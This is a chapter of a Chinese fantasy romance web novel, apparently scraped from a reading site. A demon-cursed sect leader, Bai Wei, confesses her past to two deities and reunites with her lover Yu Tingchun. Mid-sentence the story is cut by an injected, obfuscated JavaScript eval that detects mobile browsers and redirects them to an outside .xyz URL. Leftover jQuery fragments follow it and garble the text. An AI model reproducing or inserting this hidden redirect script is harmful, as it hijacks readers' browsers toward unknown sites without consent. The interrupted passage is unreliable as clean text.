33. 痴(十)

作品:《成为前任的情劫

    祝灵轩听到这名字,猛地拧身。与此同时,风止。


    眼前的黑潮再没了从前毁天灭地的气势,反而扭捏地像只猫儿一样,小心着试探着游出,依稀聚成个女子的身量。


    女子向着二人跪地:“不肖弟子白薇,愧见炽羽上神,愧见恩光殿下。”


    “恩光”是祝灵轩的神号。不过如今她的恩光好殿下被她骇得不轻。


    祝灵轩愣住没动作,余霏便起身,向白薇伸出手:“起来说话。”


    方才三人交战,她和祝灵轩都在白薇面前暴露过功法,会被认出来不算奇怪,她也没再装什么江湖术士。


    “弟子不敢。”


    白薇垂颈,没去看更没去接余霏的手。


    “弟子……罪该万死。”


    她认罪的声量很低,却没有什么哭腔,也不见恐惧。


    余霏垂手,顺势扶住膝头,腰依然弯着:“如果你说的‘罪’,是指和虞庭春交好,那大可不必挂怀。我们与他也算相熟,他是个很可靠的孩子。”


    “不。”


    白薇果断摇头,确实是从未这样想过一般。


    “向上神忏悔,弟子自甘堕落妖魔,初时神识混沌、妖力失控,酿下捣毁翠微宫的大祸。后又畏缩逃避现实,放任庭春设下织梦,囚困旧日弟子数年。种种行径实在与恶妖无异,合该万死。”


    “这些说到底是你们翠微宫的家事,轮不到我和恩光殿下管。你若要忏悔,还是向受困织梦的弟子们忏悔吧。”


    余霏一面说,一面直起身,随意坐到旁侧的残柱上,似漫不经心地发问。


    “灵脉被妖力冲破,痛不痛?”


    白薇显然没料到她会突然问这个,下意识地回道:“什么?”


    “我问你,灵脉被妖力冲破,痛不痛?”


    白薇沉默。


    痛。


    当然痛。


    灵力和妖力是两种截然相反的力量,越是灵力纯粹的修士在被妖力侵蚀时就会越痛,即使是沾上一点点也会痛,更何况白薇她全身的经脉都被妖力淘洗了个遍呢?


    在那修炼得当的灵脉里,全界最强大的灵力与妖力对撞,简直要把白薇活生生撕作两半。岂止是痛,还有毕生功法迅速流失的空虚、恐惧……


    那时的她在想什么?


    她也不记得了。


    “我情愿的,上神。”


    白薇终于说。


    “我情愿的。”


    她又默了一阵,才娓娓地:“我历劫飞升时,全翠微山的生灵都受到了波及,天雷想要杀死我的爱人。我也曾听说过天雷净化邪祟的传闻,可是——”


    她抬起头,胆敢直视她无数次燃香叩拜的神祇。


    “可是,我的爱人不是邪祟。”


    祝灵轩被她眼中的决然惊得一震,而后听她继续说:


    “我发现妖力会吸引天雷来劈,便立刻扼住庭春的喉咙,抽走了他几乎全部力量。乏力的他扑跪在地奄奄一息,我连忙用袖中法器刺入他胸膛,封住他的心脉。这一切都发生在电光石火之间,我没有再多的时间可以用来解释,天雷已向我劈来。”


    她张大眼,一眨不眨地,似乎又看到了当年的一幕。


    “我看着他的眼,料想他会恨我,这时我并未如何难过。直到天雷将我剧痛的躯壳摧毁作齑粉,我的神识落入失控暴涨的妖力,我才恍然记起我对庭春用上杀招时,他都没有反抗。”


    说到这里,那顶天立地的正道魁首终于忍不住掩面。


    “我的爱人,他是那样信任我,以至于我杀他,他也只是担忧无措地看着我。”


    余霏听到白薇指缝里传出的哭腔,也听到身后低微的啜泣。


    她转过眼,看到祝灵轩站在那手忙脚乱地抹眼角。


    余霏:?


    又不是你大骂人家渣女的时候了?


    祝灵轩最是听不得这些真情真爱的,他红着鼻尖,对白薇说:“我见过他的记忆,他不曾怪你,他一直在等你回家。”


    此言一出,两方的啜泣声都更大了些。


    余霏怕极了这抱头痛哭的场面,连忙趁乱将白薇拉起来,握着她的手问她:“既然你如今已制住了妖力、神识清明了,又常在翠微山,为何不见虞庭春?”


    “我……”


    白薇一想问题,情绪果然就压下许多。


    “我不敢。况且,如今我这幅样子,他也认不出我。我看他的织梦,他应该还是期盼我做神仙多一些,可惜,我已经是面目全非的怪物了……”


    “哪里的话。”


    祝灵轩齉着鼻子凑上来。


    “他期盼你做神仙,是因为做神仙是你的愿望,他希望你梦想成真。但对他而言,你就是你,是神仙是妖魔是凡人,白薇永远是他爱的白薇。”


    白薇听了不敢信,又看向余霏。


    余霏哪里会说这种话,只得连连点头附议。


    “他一直在原地等你。走吧,是时候再见一面了。”


    .


    白薇这些年真的在努力学习当一只好妖。先前虞庭春受到威胁时,她呼风唤雨、铺天盖地地赶来,形容是那样张扬可怖。而寻常时,她又将妖气收敛得那样好,一行三人穿过小半座翠微山,竟没有一个弟子察觉出异常。


    “上神,要不,我还是不见了。”


    远远望见虞庭春妖化的枝干时,白薇猛地收住脚步。


    “为什么?”


    余霏和祝灵轩一左一右同时发问。


    白薇忽然有些被押解的感觉,捏起咒诀转身就想跑:“我,我觉得今天这日子似乎不太好,要不还是改日,改日吧。”


    余霏眼都没瞥过来,就伸手拦住了白薇的去路,指头扒着她的右肩,稍一用力,就强迫着人转回身来:


    “晚了。”


    她抬起下巴,往虞庭春处一指。


    “被他发现了。”


    许是听到了熟悉的脚步和声音,原已枯死的山茶花枝缓缓泛青、抽长,膨出上百个茁壮鲜嫩的花苞,而后只听轻轻的“砰”的一声,满树雪白山茶便如烟花一般盛放。


    祝灵轩攥起拳,在怔愣的白薇后心处轻推了一下。


    魂不守舍的白薇就这么向前跌了两步。


    与此同时,山茶花落,簌簌银白之间,哪里还有枯藤老树的影儿,有的不过是踱步而出的,青年的身姿。


    无论先前有再多的扭捏和近乡情怯,等到二人得以四目相对时,他们不约而同地、不顾一切地,拔足向对方奔去。


    白薇已不是一代宗师的样子了,她遍体黑雾,怨力缠身。


    虞庭春也不是当年青稚的花妖了,他辗转反侧折磨数载,周身缠绕着消不去的残枝。


    但他们依然如年轻貌美爱意正浓时一般,紧紧相拥。


    虞庭春始终认为白薇是登仙而去的,眼下爱人的模样和他想象得差距有些大,不过他没有过问,只是如千百遍梦中排演的那样温柔地说:“你回来了。”


    而白薇也只是说:“我回来了。”


    二人默然又踏实地抱了一阵,这段时间足以虞庭春认出白薇身上的、他自己的妖力,足以他思前想后,捋清当年的真相。


    他轻轻松开白薇,执着于看入她的双眼,然后没头没脑地说:“你果然没有欺我。”


    彼时白薇正看着自己胸前印染的、虞庭春的心头血,摇头:“我是欺了你的。”


    “我知道的。”


    虞庭春抬手握上掼入胸口的利器。


    “若不是这把尖锥封住了我的心脉,我早就没命见你了。”


    他捧着白薇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013766|175269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脸,叫她抬头看着自己。


    “至于你抽去我的妖力,总有你的考量。”


    白薇眉尾下瞥,看起来就要哭了,可她最终,还是笑起来:


    “庭春,从前他们总说你是妖怪,如今我也成了怪物,我终于可以抛却一切身份阻隔,共你白头。”


    她没有解释当年的事,这么多年的磋磨与挣扎似乎也在这一笑之间烟消云散,变得不具重量、不值一提。


    祝灵轩远远望着他们二人,眼中充满了欣慰与钦羡:“真是叫人意外的结局呢。”


    余霏转过眼:“怎么说?”


    “白薇嘛,她是剑道宗师,仙门魁首,一辈子正义伟大地活着。到了危急关头,无论是顾及自己多年修行,为排除飞升路上的一切阻碍杀了虞庭春;还是忠诚于修仙界的共识,以降妖除魔之名杀了虞庭春,似乎都是她这身份和立场下,应当做的事。可她偏偏是最离经叛道的一个。”


    祝灵轩歪着头,笑。


    “从成为大妖的那一刻起,她终于不仅是天下太平的倚仗,也是爱人最坚实的靠山。”


    “真好。”


    余霏发自内心地慨叹,转眼却瞧见祝灵轩宛若看到铁树开花一般的期待的眼神。


    “呃,我是说,白薇真是个有担当的好女子。”


    岂料祝灵轩听后,目光变得更加玩味了。


    白薇是有担当的好女子,那谁是没担当的坏女子呢?


    有退婚前科又害人受情劫的余霏根本不敢想。


    “诶,他们在干什么?”


    她情急之下灵光一闪,又将祝灵轩的注意力转移到白薇那方去。


    “我将妖力归还于你,你便不必封住这心脉了。”


    白薇说着,拉起虞庭春的手为他渡妖力,同时攥住了他心口的利刃。


    虞庭春全程像个布娃娃一样任她摆布。


    “慢着我来!慢着我来!”


    深知绣缘针威力的余霏一个箭步冲了上去。


    白薇动作一顿,和虞庭春一起抬眼看向余霏。


    虞庭春乖巧介绍:“卿卿,这位是进到织梦中的江湖术士,也是炽羽上神的有缘人,她帮了我很多。”


    听完他介绍的白薇脸有些僵,她看看活生生的炽羽上神,又看看虞庭春:“嗯,其实,她……”


    “哎呀,这针可真针啊。”


    余霏有些汗流浃背地打断,眼瞧着虞庭春心口的利器。


    “实不相瞒,这针是我的一个老物件,我与它很是相熟,拔着兴许能疼得轻些。”


    虞庭春根本不管自己能不能疼得轻些,依然瞧着被打断的白薇:“她怎么?”


    “她……”


    白薇接收到余霏的挤眉弄眼,摇摇头。


    “她没什么,她好得很。”


    虞庭春:?


    自余霏毛遂自荐,无需多做解释,白薇也主动为上神让出了空间。而今她又把满脑袋问号的虞庭春往前一推:“那便有劳了。”


    “不足挂齿。”


    余霏稍一颔首,并指作诀,以神力护住虞庭春的伤口,接着手握针尾迅速一抽,竟是一滴血都没叫溅出来,失去封堵的血洞也以肉眼可见的速度快速愈合。


    虞庭春千言万语汇成一句“哇”。


    心知余霏身份的白薇显得从容许多:“此物是我游历九州时偶然得来,入手时就已损毁成两半。尖利的这半被我纳在袖中作为暗箭,略钝的那半请了能工巧匠制成了一枚同心结。”


    她说着,就伸手向虞庭春。


    只是同心结没要来,反倒要来了虞庭春窝囊的一句:“卿卿,那枚同心结我向来贴身带着,只是你渡雷劫那日嫌捅我碍事,从我心口揪下来随手扔了。我后来找了好久都没找见,想是被逃命出去的弟子带走了……”